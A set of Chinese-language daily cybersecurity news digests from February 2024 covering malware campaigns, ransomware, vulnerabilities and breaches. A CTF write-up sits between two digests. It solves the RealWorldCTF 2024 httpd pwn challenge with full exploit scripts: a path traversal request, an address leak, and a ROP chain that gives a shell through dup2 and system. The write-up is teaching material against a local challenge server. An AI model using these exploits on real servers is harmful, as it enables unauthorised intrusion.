网络安全日报 2024年02月26日
1、俄罗斯政府软件被植入后门并部署Konni RAT https://medium.com/@DCSO_CyTec/to-russia-with-love-assessing-a-konni-backdoored-suspected-russian-consular-software-installer-ce618ea4b8f3 研究人员发现俄罗斯外交部领事司 (MID) 可能使用的工具安装程序已被植入后门,可传播名为Konni RAT(又名UpDog)的远程访问木马。研究人员将此次活动与源自朝鲜民主主义人民共和国 (DPRK) 的针对俄罗斯的关联行为者联系起来。Konni(又名 Opal Sleet、Osmium 或TA406)活动集群有针对 2、Lucifer僵尸网络新变种针对Apache进行攻击 https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/ 威胁行为者正在针对运行 Apache Hadoop 和 Apache Druid 大数据技术以及新版本 Lucifer 僵尸网络的组织,Lucifer 僵尸网络是一种已知的恶意软件工具,结合了加密劫持和分布式拒绝服务 (DDoS) 功能。该活动采用了著名的 DDoS 僵尸网络的新变体,该变体专注于易受攻击的 Linux 系统,将其转变为门罗币加密挖矿机器人,称为 Lucifer 恶意软件,研究人员深入研究攻击 3、LockBit勒索软件秘密构建下一代加密器 https://www.trendmicro.com/en_us/research/24/b/lockbit-attempts-to-stay-afloat-with-a-new-version.html 研究人员发现LockBit 勒索软件开发人员正在秘密构建新版本的文件加密恶意软件,称为 LockBit-NG-Dev,很可能成为 LockBit 4.0,虽然以前的 LockBit 恶意软件是用 C/C++ 构建的,但最新的示例是用 .NET 编写的正在进行的工作,似乎是使用 CoreRT 编译的,并使用 MPRESS 打包。该版本似乎处于最后的开发阶段,已经提供了大部分预期功能功能。研究 4、Linux修复多个内核中的竞争条件漏洞 https://tuxcare.com/blog/multiple-race-condition-vulnerabilities-fixed-in-the-linux-kernel/ Linux中发现了多个漏洞,揭示了 KSMBD 实现中的竞争条件。该缺陷可能被远程攻击者利用导致拒绝服务或执行任意代码,从而对系统稳定性和安全性构成重大威胁。分配的 CVE 编号为CVE-2023-32250、CVE-2023-32252和CVE-2023-32257。竞争条件漏洞通常发生在并发或多线程程序中,其中多个进程或线程在没有适当同步的情况下访问共享资源。这可能会导致不可预测的结果,例如数据损坏、系统崩 5、AT&T大规模中断影响美国移动用户 https://www.bleepingcomputer.com/news/mobile/massive-atandt-outage-impacts-us-mobile-subscribers/ 近日,来自 Verizon、T-Mobile 和 AT&T 的数万名美国客户抱怨缺乏无线服务或服务中断。拨出和拨入的电话似乎都受到了影响,包括该国某些地区的 911 紧急服务电话。网络服务提供商指出,从 UTC 时间 08:48 开始,AT&T 记录了流量(移动 IPv6 和 IPv4)的重大数据丢失,影响了美国多个城市(例如达拉斯、芝加哥、洛杉矶)的 AT&T 用户。中断原因尚不清楚。媒体已联系移 6、研究人员分析Apple Shortcuts零点击快捷方式漏洞 https://www.bitdefender.com/blog/labs/details-on-apples-shortcuts-vulnerability-a-deep-dive-into-cve-2024-23204/ 研究人员在 Apple Shortcuts 中发现了一个漏洞,潜在的攻击者可以通过该漏洞在不提示用户的情况下通过某些操作访问敏感数据。该漏洞的编号为CVE-2024-23204(CVSS 评分:7.5),分别影响运行 macOS Sonoma 14.3 之前版本的 Mac OS 和 iOS 设备以及运行 iOS 17.3 和 iPadOS 17.3 之前版本的 Mac 7、黑客利用Google Cloud Run传播多款银行木马 https://blog.talosintelligence.com/google-cloud-run-abuse/ Google Cloud Run是 Google 提供的一项服务,使客户能够构建和部署位于 Google Cloud 中的 Web 服务。研究人员发现自 2023 年 9 月以来,利用 Google Cloud Run 服务向潜在受害者感染银行木马的恶意电子邮件数量显着增加。最近观察到的一些最大数量的活动被用来向主要位于拉丁美洲国家的受害者传送Astaroth、Mekotio和Ousaban银行木马。目前的 Astaroth 变体针对 15 个拉丁美洲国家的 300 多家机构 8、研究人员发现针对石油和天然气行业新的恶意活动 https://cofense.com/blog/new-maas-infostealer-malware-campaign-targeting-oil-gas-sector/ 研究人员正在跟踪一项高级活动,该活动已成功实现攻击石油和天然气行业的预期目标。该活动提供了一种不常见但先进的恶意软件即服务信息窃取程序,即Rhadamanthys Stealer。在执法部门取缔 LockBit 勒索软件组织(最活跃的勒索软件即服务 (RaaS) 之一)后的几天内,这种新的高级网络钓鱼活动采用了最近更新的恶意软件即服务 (MaaS)。该恶意软件家族最近在黑市上出现重大更新,这可能是在如此高级的活动中看 9、Akira勒索软件集团声称攻击Quik金融服务公司 https://thecyberexpress.com/quik-pawn-shop-cyberattack Quik Pawn Shops 成立于 1978 年,该公司提供一系列金融服务,包括典当贷款、产权贷款、现金垫款、分期贷款和支票兑现,一直是许多需要快速金融解决方案的人值得信赖的资源。Akira 勒索软件组织声称对暗网上的 Quik Pawn Shop 网络攻击负责,Quik Pawn Shop 于 2024 年 2 月 22 日发生网络攻击,导致 Quik Pawn Shop 陷入数据泄露的后果之中。此次攻击背后的网络犯罪分子声称从 Quik Pawn Shop 的系统中获取了 1 10、微软发布用于识别AI风险的红队工具PyRIT https://github.com/Azure/PyRIT 微软发布了一个名为PyRIT(Python 风险识别工具的缩写)的开放访问自动化框架,用于主动识别生成人工智能 (AI) 系统中的风险。PyRIT 可用于评估大语言模型 (LLM) 端点针对不同伤害类别的稳健性,例如捏造(例如幻觉)、滥用(例如偏见)和禁止内容(例如骚扰)。它还可用于识别从恶意软件生成到越狱的安全危害,以及身份盗窃等隐私危害。此外,该工具允许研究人员迭代和改进针对不同危害的缓解措施。例如,在 Microsoft,正在使用此工具来迭代产品的不同版本(及其元提示),以便更有效地防范提示注入攻击。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年02月23日
1、SSH-Snake恶意软件窃取SSH密钥并在网络中传播 https://sysdig.com/blog/ssh-snake/ 研究团队发现了对 2024 年 1 月 4 日发布的名为SSH-Snake的新网络映射工具的恶意使用。SSH -Snake 是一种自我修改蠕虫,它利用在受感染系统上发现的 SSH 凭据来启动在整个网络中传播。该蠕虫会自动搜索已知的凭据位置和 shell 历史文件以确定其下一步行动。当前SSH-Snake 被威胁行为者积极用于攻击行动。 SSH-Snake 活动可以通过运行时威胁检测工具来识别,例如 Sysdig Secure 或Open Source Falco。研究人员提取几条可用于检测此威胁的Falco规则。 2、VietCredCare窃取者瞄准越南Facebook广告商 https://www.group-ib.com/blog/vietcredcare-stealer/ 至少从 2022 年 8 月起,越南的 Facebook 广告商就成为了一个名为VietCredCare 的未知信息窃取者的目标。研究人员表示,该恶意软件“因其能够自动过滤掉从受感染设备窃取的 Facebook 会话 cookie 和凭据,并评估这些帐户是否管理业务资料以及是否保持正元广告信用余额而闻名”。当前大量著名的越南公共和私营部门组织面临受到损害的风险。VietCredCare 泄露了9 个越南政府机构、12 个省市的国家公共服务门户、65所大学、4 个电子商务平台、21 家银行、 3、研究人员披露利用垃圾邮件的攻击活动Texonto https://www.welivesecurity.com/en/eset-research/operation-texonto-information-operation-targeting-ukrainian-speakers-context-war/ 网络安全研究人员发现了一系列针对乌克兰的新影响行动,该行动利用垃圾邮件传播与战争相关的虚假信息。Texonto 行动(整个活动的代号)并未归因于特定的威胁行为者,尽管其中的某些要素(尤其是鱼叉式网络钓鱼攻击)与COLDRIVER重叠,后者有通过虚假登录获取凭据的历史页。虚假信息操作在 2023 年 11 月和 12 月发生了两波,电子邮 4、VMware提示用户立即卸载增强型身份验证插件EAP https://www.vmware.com/security/advisories/VMSA-2024-0003.html 在发现严重安全漏洞后,VMware 敦促用户卸载已弃用的增强型身份验证插件 (EAP)。该漏洞编号为CVE-2024-22245(CVSS 评分:9.6),被描述为任意身份验证中继错误。EAP是一个软件包,旨在允许通过 Web 浏览器直接登录 vSphere 的管理界面和工具,自 2021 年 3 月起已弃用。默认情况下不包含它,也不属于 vCenter Server、ESXi 或 Cloud Foundation。该公司表示,这些漏洞不会得到解决,而是建议用户完全删 5、英国多所大学遭受针对性DDoS攻击 https://www.infosecurity-magazine.com/news/universities-recovering-ddos-attack/ 英国多所大学的服务受到 DDoS 攻击的影响,剑桥大学临床学校计算服务中心2 月 19 日在其 X(前身为 Twitter)帐户上发帖披露了这一事件,并表示互联网访问将出现间歇性。据称,攻击于 2 月 19 日格林尼治标准时间 15 点开始,“多所大学”受到影响。匿名苏丹黑客组织声称对此负责,黑客追踪者X账户CyberKnow分享了该团伙的帖子截图,其中他们引用英国政府支持以色列在加沙的军事行动和轰炸也门胡塞运动作为袭击的原因。研究机 6、Knight勒索软件源代码在黑客论坛出售 https://www.bleepingcomputer.com/news/security/knight-ransomware-source-code-for-sale-after-leak-site-shuts-down/ Knight勒索组织的一名代表正在黑客论坛上向单个买家出售所谓的 Knight 勒索软件第三次迭代的源代码。Knight 勒索软件于 2023 年 7 月末作为 Cyclops 操作的重新命名推出,针对 Windows、macOS 和 Linux/ESXi 系统。帖子中表示:“出售 Knight 3.0 勒索软件的源代码,这将包括面板和储物柜的源代码,所有源代码均由 7、新曝光的恶意PyPI软件包使用隐蔽侧载手段进行攻击 https://thehackernews.com/2024/02/new-malicious-pypi-packages-caught.html ReversingLabs的研究员Petar Kirhmajer在与《黑客新闻》分享的报告中表示:“最新发现的案例展示了一个开源包执行DLL侧加载的情形,这表明软件供应链威胁的范围正在不断扩大。” 8、微软Exchange曝高危漏洞近10万台服务器面临风险 https://www.secrss.com/articles/63764 编号为CVE-2024-21410,该漏洞严重威胁到全球大量邮件服务器的安全,目前已经有黑客开始积极野外利用。 9、Wyze摄像头故障,13000名用户观看到了其他人家中的影像 https://www.hackread.com/wyze-cameras-glitch-users-saw-home-footage/ Wyze表示,此次隐私泄露事件与一个第三方缓存客户端库有关,该库在网络负载较高和多台设备同时在线的情况下出现了问题,导致设备ID和用户ID的对应关系混乱,数据被错误地发送到了错误的账户。 10、FTC 指控 Avast 向广告商出售客户浏览数据 https://www.securityweek.com/ftc-accuses-avast-of-selling-customer-browsing-data-to-advertisers/ 欧洲安全供应商 Avast 被指控通过其浏览器扩展和防病毒软件收集消费者网络浏览数据,并“在没有充分通知和未经消费者同意的情况下出售这些数据”。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年02月22日
1、新的Migo恶意软件针对Redis服务器开展挖矿活动 https://www.cadosecurity.com/migo-a-redis-miner-with-novel-system-weakening-techniques/ 研究人员最近遇到了一种针对 Redis 进行初始访问的新型恶意软件活动。虽然 Redis 对于 Linux 和云攻击者的利用并不陌生,但这次特殊的攻击活动涉及使用许多新颖的系统削弱技术来攻击数据存储本身。 该恶意软件被开发人员命名为 Migo,是一种 Golang ELF 二进制文件,具有编译时混淆功能并能够在 Linux 机器上持久存在。旨在破坏 Redis 服务器,以便在底层 Linux 主机上挖掘加密货币。 研究 2、研究人员发现攻击者利用PyPI旁加载恶意DLL https://www.reversinglabs.com/blog/attackers-leverage-pypi-to-sideload-malicious-dlls 网络安全研究人员在Python包索引 (PyPI) 存储库中发现了两个恶意包,这些包利用一种称为DLL 侧面加载的技术来规避安全软件的检测并运行恶意代码。这些名为NP6HelperHttptest和NP6HelperHttper 的软件包在被删除之前分别被下载了537 次和166 次。研究人员表示:“最新发现是由开源包执行的 DLL 侧载示例,这表明软件供应链威胁的范围正在扩大。”研究人员对这两个软件包的发现方式,以及对开 3、NCA联合国际执法行动破坏LockBit设施并发布解密密钥 https://www.nationalcrimeagency.gov.uk/news/nca-leads-international-investigation-targeting-worlds-most-harmful-ransomware-group 美国国家犯罪局于2 月 20 日公布了针对世界上危害最大的网络犯罪组织 LockBit 的国际破坏活动的详细信息。 在渗透到该组织的网络后,NCA 已经控制了 LockBit 的服务,从而损害了他们的整个犯罪事业。LockBit 已经运行四年了,该组织向全球黑客或“附属机构”网络提供勒索软件即服务,为他们提供实施攻击所需的工具和基础设施。 4、苹果为 iMessage 添加后量子加密协议PQ3 https://www.securityweek.com/apple-adds-post-quantum-encryption-to-imessage/ 苹果周三推出了 PQ3,这是一种新的 iMessage 后量子加密协议,旨在保护加密通信,甚至免受未来量子计算攻击。 5、VoltSchemer攻击利用无线充电器注入语音命令,炸毁手机 https://www.securityweek.com/researchers-devise-voltschemer-attacks-targeting-wireless-chargers/ 来自佛罗里达大学的一组学术研究人员和 Web3 智能合约审核员 CertiK 设计了新的攻击,通过电源电压操纵导致无线充电器接管。这种名为VoltSchemer (PDF)的理论攻击针对的是无线充电系统中的漏洞,这些漏洞可能使攻击者能够损坏充电设备、操纵语音助手并绕过 Qi 标准的机制来损坏暴露在强磁场中的物品。 6、Chrome 122、Firefox 123 修补高严重性漏洞 https://www.securityweek.com/chrome-122-firefox-123-patch-high-severity-vulnerabilities/ 谷歌和 Mozilla 本周发布了 Chrome 和 Firefox 软件更新,以解决这两种浏览器中的多个漏洞,包括高严重性内存安全漏洞。 7、波兰新总理称前任政府非法使用间谍软件 Pegasus https://apnews.com/article/poland-government-pegasus-spyware-tusk-duda-78420fc7099401926d28b5be98669192 去年 12 月就任波兰总理的公民纲领党主席 Donald Tusk 上周表示,他有文件证明前任政府非法使用了间谍软件 Pegasus。 8、20家大型科技公司签署“协议”打击人工智能选举深度造假 https://cybernews.com/tech/big-tech-signs-accord-to-battle-2024-election-ai-deepfakes/ 至少 20 家大型科技公司(包括 Google、Meta Platforms、微软和 OpenAI)已签署一项新的“技术协议”,旨在防止 2024 年全球选举周期期间传播欺骗性人工智能内容。 9、Android 银行木马 Anatsa正在欧洲多国扩散 https://securityaffairs.com/159344/malware/anatsa-banking-trojan-resurgence.html 该恶意软件此前主要针对英国、德国和西班牙进行活动,但最新的活动针对的是斯洛伐克、斯洛文尼亚和捷克,这表明其运营策略发生了转变。 10、欧盟因儿童保护和隐私问题对 TikTok 展开调查 https://www.infosecurity-magazine.com/news/eu-investigation-tiktok-privacy/ 出于对未成年人保护、广告政策和隐私的担忧,欧盟委员会于 2 月 19 日宣布,将启动正式程序,评估该社交媒体平台是否违反了欧盟《数字服务法》(DSA)。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
深入解析RealWorldCTF 2024体验赛PWN方向题目
前言 本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题目——"Be-an-HTPPd-Hacker"进行深入解析和讲解。该题目涉及一个十一年前的项目,其基于C语言实现了HTTP协议。我们将通过对该协议进行栈溢出攻击,探索真实世界中的攻击手法,并从中学习更多有用的攻击技巧,以提升我们的安全水平。通过理解攻击原理和方法,我们能够更好地理解安全防御的重要性,并为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望能为读者提供深入而有价值的学习体验。 搜索字符串,github找源码 从IDA中,shift+F12提取,得到字符串,在github进行搜索能够得到源码在这: https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c具体构造 构造的代码如下,也就是方法 地址 加协议: method, uri, vProtocol 如 POST http://www.baidu.com xxx 源码如下: request parseRequest(char buffer[]) { char *ptr = buffer; char method[MAXLINE], uri[MAXLINE], vProtocol[MAXLINE]; request req; sscanf(ptr, "%s %s %s", method, uri, vProtocol); // Somente GET ou POST if(strcasecmp(method, "GET") == 0)        req.method = "GET"; else if (strcasecmp(method, "POST") == 0)        req.method = "POST";    else {   req.method = "INVALID"; req.vProtocol = "INVALID"; req.uri[0] = '\0'; return req;   }    // Sera testado futuramente. Por enquanto aceita que é um uri valido    req.uri = uri;        if(strcasecmp(vProtocol, "HTTP/1.0") == 0) req.vProtocol = "HTTP/1.0"; else if (strcasecmp(vProtocol, "HTTP/1.1") == 0) req.vProtocol = "HTTP/1.1";    else   req.vProtocol = "HTTP/1.1"; // se nao especificado return req; } GET路径穿越 其中get请求,经过简单尝试和逆向发现存在路径穿越,其直接对WWW进行拼接读取。 else if (res.status == 200 ) // Ok { return sendFile(req, res,connfd); } 阅读源码发现如上。 路径穿越漏洞(Path Traversal Vulnerability)是一种常见的安全漏洞,通常发生在Web应用程序或文件系统中。它允许攻击者访问他们没有权限访问的文件或目录,通过修改文件路径来绕过应用程序的访问控制机制。 不过flag没有可读权限,只能通过readflag来执行。 from evilblade import * context(os='linux', arch='amd64') # context(os='linux', arch='amd64', log_level='debug') #GET /index.html HTTP/1.1 setup('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) # rsetup('121.40.246.203',30594) # pause() payload = 'GET ' + '/img/../../../etc/profile HTTP/1.0\x00' # payload = b'POST /form-example.html/../img/../../../add HTTP/1.1\r\n' pause() sl(payload) ia() 这是路径穿越读/etc/profile。 POST栈溢出 其实不是源码也分析的差不多了,就是不太理解这个&=的分割,还有会存在一个奇怪的堆溢出,堆溢出主要是因为malloc大小引起的,在计算    char *line = (char*) malloc(end-start); 中,end出现小于start的情况。我们可以输入多个\n来使得heap足够大,避免溢出的情况。 代码可以看到: int sendPostMessage(request req, response res, int connfd, char *linePost){ char buffer[MAXLINE]; //Prepara cabecalho HTML sprintf(buffer, "<html><head><title>Submitted Form</title></head>"); //Cria body strcat(buffer, "<body><h1>Received variables</h1><br><table>"); strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>"); char * pch; char temp[250]; pch = strtok (linePost,"&="); while (pch != NULL) { sprintf(temp, "<tr><td>%s</td>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); sprintf(temp, "<td>%s</td></tr>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); } //Fecha body e html strcat(buffer, "</table></body></html>"); sendHeader(connfd, req, res, "OK", "text/html"); write(connfd, buffer, strlen(buffer)); return 0; } 也就是会根据&或者=分割之后,进行连接到temp。 其中linepost如下: void httpd(int connfd) {                     char buffer[MAXLINE]; // Buffer dos dados de input char fileBuffer[MAXLINE]; request req; // Pedido do cliente response res; // Resposta do servidor struct stat st; int n; int sizeContent = -1; // Le o que está vindo no socket n=read(connfd, buffer, MAXLINE); int i = strlen(buffer); char options[MAXLINE]; int statusRead = 0; strcpy(options, buffer); while(statusRead == 0) { if((options[i-3] == '\n' && options[i-1] == '\n') || options[i-1] != '\n') { statusRead = 1; } else { n=read(connfd, options, MAXLINE); //strcat(buffer, options); //printf("%s\n", buffer); i = strlen(options); if(options[0] == '\r' && options[1] == '\n' && n == 2) statusRead = 1; } } // Faz o parse da requisicao req = parseRequest(buffer); char *linePost; //Encontra no buffer o tamanho do conteudo if(strcmp(req.method, "POST") ==0) { linePost = getLastLineRead(buffer); } //……char *getLastLineRead(char *buffer) {    int numLines = 0;    int start = 0;    int end = 0;    int bufSize = strlen(buffer);        int i = 0;    int j = 0;    for (i=0;i<bufSize;i++) {        if (buffer[i]=='\n') {            numLines++;       }   }    int *vetPositionLine = (int*) malloc(numLines);      for (i=0;i<bufSize;i++) {        if (buffer[i]=='\n') {            vetPositionLine[j] = i;//出现回车的地方            j++;                   }   }    start = vetPositionLine[numLines-3];    end = vetPositionLine[numLines-1];          char *line = (char*) malloc(end-start);    strncpy(line,buffer+end,bufSize-end);    return line; } 就是说当他会把\n处作为起始地址,然后把后面的内容复制到line,这样就可以泄漏地址了! 使用exp: from evilblade import * context(os='linux', arch='amd64') setup('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) payload = b'POST '+ b'A'*3982 + b'\n' pause() sl(payload) ia() 调试方法:执行exp后,用ps -ef | grep 'httpd'之后找到最新的进程用sudo gdb -p PID即可。 或者直接使用命令:sudo gdb -p $(pgrep -n -f './httpd 12345') 最后会从buf+你输入的数据长度,取一个数据写到heap中,下次取出来作参数。 主要对此处进行断点观察。 可以看到: 由此可以泄漏出libc甚至其他了。 使用脚本: from evilblade import * context(os='linux', arch='amd64') setup('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) payload = b'POST '+ b'A'*3982 + b'\n' sl(payload) ru("Values</th></tr><tr><td>") stack = u32(rv(4)) dx(stack) ld = u32(rv(4))-0xc0c dx(ld) libc = u32(rv(4))-2324400 dx(libc) ia() 泄漏得到: --------------- your stack is >>> 0xff9c9f0a --------------- --------------- your ld is >>> 0xedf40000 --------------- --------------- your libc is >>> 0xedcca000 --------------- 构造ROP 从这个部分可以发现,会将原本的内容根据&=分割,然后加上<tr><td>之类的字符串,使得字符串长度变大,会导致栈溢出。那么我们根据前面得到的基地址,和这个部分漏洞进行ROP构造,从而getshell。 char * pch; char temp[250]; pch = strtok (linePost,"&="); while (pch != NULL) { sprintf(temp, "<tr><td>%s</td>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); sprintf(temp, "<td>%s</td></tr>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); } 做以下构造,经过多次尝试终于得到了控制返回地址为xxxx: from evilblade import * context(os='linux', arch='amd64') setup('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) payload = b'POST '+ b'A='*1850 #test= cyclic(0x700).decode() #modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))]) #d(modified_test) payload = b'POST / A\n'+ b"A"*2400 + b"\n" payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv= payload += b"=" + p32(0xeb029050)*10+ b"xxxx" + b"=" d(payload) dpx('len',len(payload)) pause() sd(payload) 其中xxxx为任意地址,可以返回! 由于 sprintf的原因,不能输入\x00和\n之类的作为rop,我这里采取加减法的方式进行绕过,先输入不包含0和0a的字符,后续根据加减恢复到我们需要的字符。 搜索有: pwndbg> search -4 0x11111111 Searching for value: b'\x11\x11\x11\x11' libc.so.6       0xf0ca28f4 0x11111111 libc.so.6       0xf0ca2a08 0x11111111 libc.so.6       0xf0ca2a0c 0x11111111 计算得到: λ ~/ python Python 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801] on linux Type "help", "copyright", "credits" or "license" for more information. >>> hex(0xf0ca28f4 -0xf0af1000) '0x1b18f4'#这是libc偏移 >>> hex(0x100000000-0x11111111) '0xeeeeeeef' >>> 那么我们用以上作为差值计算,其中0x11111111+0xeeeeeeef相加等于0。 构造的ROP如下: push_esi = p32(libc+0x00061c0d) # push esi ; ret nop_ret = p32(libc+0x0002fce8) # nop ; ret read = p32(symoff("read",libc)) pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret) pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret) add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret) # dup2($ebx,$ecx) rop =  pop_esi + dup22 rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop += pop_ecx_eax + p32(0xeeeeeeef)*2 rop += add_ecx #$ecx = 0 rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop += add_ebx #$ebx = 4 rop += push_esi rop += pop_esi + dup22 rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2 rop += add_ecx #$ecx=1 rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop += add_ebx #$ebx = 4 rop += push_esi rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5) if b"=" in rop or b"\x00" in rop:    print("stop!")    pause() payload = b'POST '+ b"A"*2400 + b"\n" payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv= payload += b"=" + (nop_ret)*10 payload += rop payload += b"=" 完整exp如下: from evilblade import * context(os='linux', arch='amd64') setup('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) payload = b'POST '+ b'A'*3982 + b'\n' sl(payload) ru("Values</th></tr><tr><td>") stack = u32(rv(4))-0x1ed0a dx(stack) ld = u32(rv(4))-0xc0c dx(ld) libc = u32(rv(4))-2324400 dx(libc) close() rsetup('127.0.0.1',33333) payload = b'POST '+ b'A='*1850 #test= cyclic(0x700).decode() #modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))]) #d(modified_test) sub_eax_ecx = p32(libc + 0x0018b0f8) # sub eax, ecx ; ret push_eax = p32(libc + 0x00036a7d) # push eax ; ret pop_ecx_eax = p32(libc + 0x001280f4) # pop ecx ; pop eax ; ret dup22 = p32(symoff("dup2",libc)+0xe) push_edx = p32(libc+0x00192ac8) # push edx ; ret pop_edx = p32(libc+0x00037375) # pop edx ; ret pop_esi = p32(libc+0x00021479) # pop esi ; ret push_esi = p32(libc+0x00061c0d) # push esi ; ret nop_ret = p32(libc+0x0002fce8) # nop ; ret read = p32(symoff("read",libc)) pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret) pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret) add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret) # dup2($ebx,$ecx) rop =  pop_esi + dup22 rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop += pop_ecx_eax + p32(0xeeeeeeef)*2 rop += add_ecx #$ecx = 0 rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop += add_ebx #$ebx = 4 rop += push_esi rop += pop_esi + dup22 rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2 rop += add_ecx #$ecx=1 rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop += add_ebx #$ebx = 4 rop += push_esi rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5) if b"=" in rop or b"\x00" in rop:    print("stop!")    pause() payload = b'POST '+ b"A"*2400 + b"\n" payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv= payload += b"=" + (nop_ret)*10 payload += rop payload += b"=" d(payload) dpx('len',len(payload)) dpx("begin",uu64(pop_esi)) dpx("nop",uu64(nop_ret)) dx(stack) pause() sd(payload) ia() 攻击结果:
网络安全日报 2024年02月21日
1、网络犯罪分子利用PDF传播WikiLoader等恶意软件 https://www.infosecurity-magazine.com/news/pdf-malware-on-the-rise 研究人员发现随着网络犯罪分子通过 PDF 传播恶意软件(包括 WikiLoader、Ursnif 和 DarkGate),PDF 威胁呈上升趋势。与同年第一季度相比,2023 年第四季度 PDF 威胁增加了 7%。它指出,以前 PDF 诱饵曾被用来通过网络钓鱼获取受害者的凭据和财务详细信息。现在恶意软件正在通过这些文档传播。研究人员表示,一个值得注意的例子是 WikiLoader 活动使用虚假包裹递送 PDF 来诱骗用户安装 Ursnif 恶意软件。用于加剧攻 2、Anatsa木马绕过Google Play检测并扩大影响范围 https://www.threatfabric.com/blogs/anatsa-trojan-returns-targeting-europe-and-expanding-its-reach 近期研究人员发现名为Anatsa的 Android 银行木马已将其关注范围扩大到斯洛伐克、斯洛文尼亚和捷克。一份报告中表示:“尽管 Google Play 增强了检测和保护机制,但该活动中的一些植入程序仍成功利用了无障碍服务。 ”, 该活动总共涉及 5 个植入程序,总安装量超过 100,000 次。Anatsa 也被称为 TeaBot 和 Toddler,Anatsa 的活动可以归类为“有针对性”的 3、Meta警告8家间谍软件公司针对iOS等设备 https://thehackernews.com/2024/02/meta-warns-of-8-spyware-firms-targeting.html Meta Platforms 表示,它采取了一系列措施来遏制来自意大利、西班牙和阿拉伯联合酋长国 (UAE) 的八家不同公司的恶意活动,这些公司从事租赁监控行业。这些调查结果是其2023 年第四季度对抗威胁报告的一部分。该间谍软件针对 iOS、Android 和 Windows 设备。该公司表示:“他们的各种恶意软件包括收集和访问设备信息、位置、照片和媒体、联系人、日历、电子邮件、短信、社交媒体和消息应用程序,以及启用麦克风、摄像头和屏 4、德国电池制造商 VARTA AG 遭到网络攻击导致停产 https://www.anquanke.com/post/id/293242 德国电池制造商 VARTA AG 面临 网络攻击,迫使该公司五个工厂暂时停止生产。由于部分IT基础设施遭到攻击,该公司不得不停止运行IT系统并断开与互联网的连接,以确保安全。 5、德韩情报机构披露朝鲜黑客与国防部门供应链攻击有关 https://www.bleepingcomputer.com/news/security/north-korean-hackers-linked-to-defense-sector-supply-chain-attack/ 德国联邦情报机构 (BfV) 和韩国国家情报局 (NIS) 